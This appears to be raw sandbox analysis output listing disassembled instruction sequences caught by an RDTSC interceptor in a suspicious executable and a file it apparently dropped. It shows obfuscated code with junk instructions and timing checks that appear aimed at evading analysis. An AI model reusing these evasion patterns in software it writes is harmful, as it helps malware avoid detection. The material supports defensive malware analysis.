Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40539 second address: 4D405B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F889508B64Ah 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 pushad 0x00000015 push ebx 0x00000016 pop eax 0x00000017 pushfd 0x00000018 jmp 00007F889508B653h 0x0000001d sub esi, 135D1A6Eh 0x00000023 jmp 00007F889508B659h 0x00000028 popfd 0x00000029 popad 0x0000002a pushfd 0x0000002b jmp 00007F889508B650h 0x00000030 sub ch, FFFFFFE8h 0x00000033 jmp 00007F889508B64Bh 0x00000038 popfd 0x00000039 popad 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D405B5 second address: 4D405B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D405B9 second address: 4D405BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D405BF second address: 4D405C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4064C second address: 4D40650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40650 second address: 4D40656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40656 second address: 4D406C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B64Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, edx 0x0000000b jmp 00007F889508B656h 0x00000010 mov al, byte ptr [edx] 0x00000012 pushad 0x00000013 pushad 0x00000014 mov dx, ax 0x00000017 mov cx, 822Fh 0x0000001b popad 0x0000001c pushad 0x0000001d call 00007F889508B652h 0x00000022 pop ecx 0x00000023 mov esi, edi 0x00000025 popad 0x00000026 popad 0x00000027 inc edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F889508B658h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D406C0 second address: 4D406C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D406C6 second address: 4D406CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D406CA second address: 4D406C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B8151Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F8894B8151Ch 0x00000014 sbb ch, 00000018h 0x00000017 jmp 00007F8894B8151Bh 0x0000001c popfd 0x0000001d jmp 00007F8894B81528h 0x00000022 popad 0x00000023 jne 00007F8894B8147Ch 0x00000029 mov al, byte ptr [edx] 0x0000002b pushad 0x0000002c pushad 0x0000002d mov dx, ax 0x00000030 mov cx, 822Fh 0x00000034 popad 0x00000035 pushad 0x00000036 call 00007F8894B81522h 0x0000003b pop ecx 0x0000003c mov esi, edi 0x0000003e popad 0x0000003f popad 0x00000040 inc edx 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F8894B81528h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40744 second address: 4D40748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40748 second address: 4D4074C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4074C second address: 4D40752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40752 second address: 4D407B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B81522h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 dec edi 0x0000000a pushad 0x0000000b jmp 00007F8894B8151Eh 0x00000010 pushfd 0x00000011 jmp 00007F8894B81522h 0x00000016 sbb ah, FFFFFF98h 0x00000019 jmp 00007F8894B8151Bh 0x0000001e popfd 0x0000001f popad 0x00000020 lea ebx, dword ptr [edi+01h] 0x00000023 pushad 0x00000024 mov esi, 5E5FC16Bh 0x00000029 mov si, 0947h 0x0000002d popad 0x0000002e mov al, byte ptr [edi+01h] 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D407B2 second address: 4D407B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D407B6 second address: 4D407BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D407BC second address: 4D407D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B64Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D407D5 second address: 4D407D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D407D9 second address: 4D407DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D407DF second address: 4D40801 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8894B81522h 0x00000008 pop esi 0x00000009 push edi 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test al, al 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40801 second address: 4D4080B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, 2945DB1Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4080B second address: 4D4089F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8894B81527h 0x00000009 sub si, 367Eh 0x0000000e jmp 00007F8894B81529h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F8894B81520h 0x0000001a adc cl, 00000078h 0x0000001d jmp 00007F8894B8151Bh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 jne 00007F8904C2972Dh 0x0000002c jmp 00007F8894B81526h 0x00000031 mov ecx, edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F8894B81527h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4089F second address: 4D408A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40992 second address: 4D40A35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B81529h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp-10h] 0x0000000c jmp 00007F8894B8151Eh 0x00000011 mov dword ptr fs:[00000000h], ecx 0x00000018 pushad 0x00000019 movzx eax, bx 0x0000001c movsx edx, si 0x0000001f popad 0x00000020 pop ecx 0x00000021 pushad 0x00000022 mov di, cx 0x00000025 mov cl, A1h 0x00000027 popad 0x00000028 pop edi 0x00000029 jmp 00007F8894B8151Fh 0x0000002e pop esi 0x0000002f jmp 00007F8894B81526h 0x00000034 pop ebx 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007F8894B8151Eh 0x0000003c sub ax, 75F8h 0x00000041 jmp 00007F8894B8151Bh 0x00000046 popfd 0x00000047 movzx esi, bx 0x0000004a popad 0x0000004b leave 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F8894B8151Eh 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40A35 second address: 4D404F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B64Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0008h 0x0000000c cmp dword ptr [ebp-2Ch], 10h 0x00000010 mov eax, dword ptr [ebp-40h] 0x00000013 jnc 00007F889508B645h 0x00000015 push eax 0x00000016 lea edx, dword ptr [ebp-00000590h] 0x0000001c push edx 0x0000001d call esi 0x0000001f push 00000008h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F889508B64Ah 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40B40 second address: 4D40B8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 0B929DC2h 0x00000008 pushfd 0x00000009 jmp 00007F8894B81523h 0x0000000e sbb eax, 5B405CBEh 0x00000014 jmp 00007F8894B81529h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F8894B8151Dh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40B8F second address: 4D40BE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, DC82h 0x00000007 jmp 00007F889508B653h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F889508B64Fh 0x00000017 xor ch, 0000002Eh 0x0000001a jmp 00007F889508B659h 0x0000001f popfd 0x00000020 mov di, cx 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40BE6 second address: 4D40BF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B8151Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40BF5 second address: 4D40BFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40BFB second address: 4D40C21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B8151Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F8894B8151Bh 0x00000015 mov ax, 527Fh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40C21 second address: 4D40C27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40C27 second address: 4D40C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40C2B second address: 4D40C2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40C2F second address: 4D40C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c mov dl, 67h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5B37F3 second address: 5B384B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jno 00007F889508B670h 0x0000000b jmp 00007F889508B657h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F889508B64Ah 0x00000017 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5B3A08 second address: 5B3A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5B3BC0 second address: 5B3BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5B3D2C second address: 5B3D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8894B81521h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5B3D42 second address: 5B3D4C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F889508B64Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5B7CB4 second address: 5B7CBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8894B81516h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5B7E46 second address: 5B7EB0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F889508B646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b je 00007F889508B646h 0x00000011 pop edi 0x00000012 popad 0x00000013 push eax 0x00000014 push ecx 0x00000015 jmp 00007F889508B64Eh 0x0000001a pop ecx 0x0000001b nop 0x0000001c mov edi, dword ptr [ebp+122D383Bh] 0x00000022 push 00000000h 0x00000024 mov esi, dword ptr [ebp+122D3933h] 0x0000002a call 00007F889508B649h 0x0000002f jmp 00007F889508B651h 0x00000034 push eax 0x00000035 jbe 00007F889508B64Eh 0x0000003b mov eax, dword ptr [esp+04h] 0x0000003f push eax 0x00000040 push edx 0x00000041 jc 00007F889508B64Ch 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5B7EB0 second address: 5B7EB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5B7EB4 second address: 5B7EB9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5B7EB9 second address: 5B7EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jc 00007F8894B8151Ch 0x00000010 jnp 00007F8894B81516h 0x00000016 pushad 0x00000017 jnl 00007F8894B81516h 0x0000001d jp 00007F8894B81516h 0x00000023 popad 0x00000024 popad 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push ecx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5B7EE7 second address: 5B7EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5B7EEC second address: 5B7F3F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8894B81518h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d movzx ecx, dx 0x00000010 call 00007F8894B81527h 0x00000015 mov edx, 1FD70263h 0x0000001a pop edi 0x0000001b push 00000003h 0x0000001d movzx edx, di 0x00000020 push 00000000h 0x00000022 pushad 0x00000023 popad 0x00000024 push 00000003h 0x00000026 mov ecx, 0D0EC504h 0x0000002b push DB004F92h 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F8894B8151Eh 0x00000038 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5B7F3F second address: 5B7F68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 xor dword ptr [esp], 1B004F92h 0x0000000e mov edx, dword ptr [ebp+122D36F7h] 0x00000014 xor edi, 4D752C05h 0x0000001a lea ebx, dword ptr [ebp+1244CBCDh] 0x00000020 mov cl, B9h 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5B7F68 second address: 5B7F6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5B7F6C second address: 5B7F72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5B8045 second address: 5B80D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B8151Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 37E40C1Fh 0x00000010 mov edx, dword ptr [ebp+122D371Fh] 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F8894B81518h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 push 00000000h 0x00000034 and esi, dword ptr [ebp+122D3787h] 0x0000003a push 00000003h 0x0000003c push 00000000h 0x0000003e push ebx 0x0000003f call 00007F8894B81518h 0x00000044 pop ebx 0x00000045 mov dword ptr [esp+04h], ebx 0x00000049 add dword ptr [esp+04h], 00000014h 0x00000051 inc ebx 0x00000052 push ebx 0x00000053 ret 0x00000054 pop ebx 0x00000055 ret 0x00000056 jno 00007F8894B8151Bh 0x0000005c push B9AE7F07h 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F8894B81529h 0x00000068 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5D8B93 second address: 5D8B97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5D8B97 second address: 5D8BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5D8BA5 second address: 5D8BAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5D8BAB second address: 5D8BAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5A17D0 second address: 5A17E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5A17E5 second address: 5A17EF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8894B81522h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5D7043 second address: 5D704A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5D704A second address: 5D7090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F8894B8152Ch 0x0000000b jmp 00007F8894B81526h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jbe 00007F8894B8151Ah 0x00000019 push eax 0x0000001a pop eax 0x0000001b push edi 0x0000001c pop edi 0x0000001d jmp 00007F8894B81520h 0x00000022 jbe 00007F8894B8151Eh 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5D736D second address: 5D7371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5D767B second address: 5D7685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F8894B81516h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5D7948 second address: 5D794C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5D794C second address: 5D7952 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5D7A84 second address: 5D7A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5D7A89 second address: 5D7AB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F8894B81516h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F8894B81526h 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5CB07A second address: 5CB07E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5AF231 second address: 5AF254 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8894B81516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8894B81521h 0x00000011 js 00007F8894B81516h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5DFA5E second address: 5DFA80 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F889508B646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F889508B656h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5DFCB4 second address: 5DFCBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E4E1C second address: 5E4E3A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F889508B646h 0x00000008 jmp 00007F889508B650h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E4E3A second address: 5E4E5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8894B81524h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E4E5C second address: 5E4E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E4E60 second address: 5E4E66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E4E66 second address: 5E4E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F889508B64Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E4E7C second address: 5E4E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E4515 second address: 5E451D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E451D second address: 5E4521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	RDTSC instruction interceptor: First address: 5E4521 second address: 5E4543 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B659h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
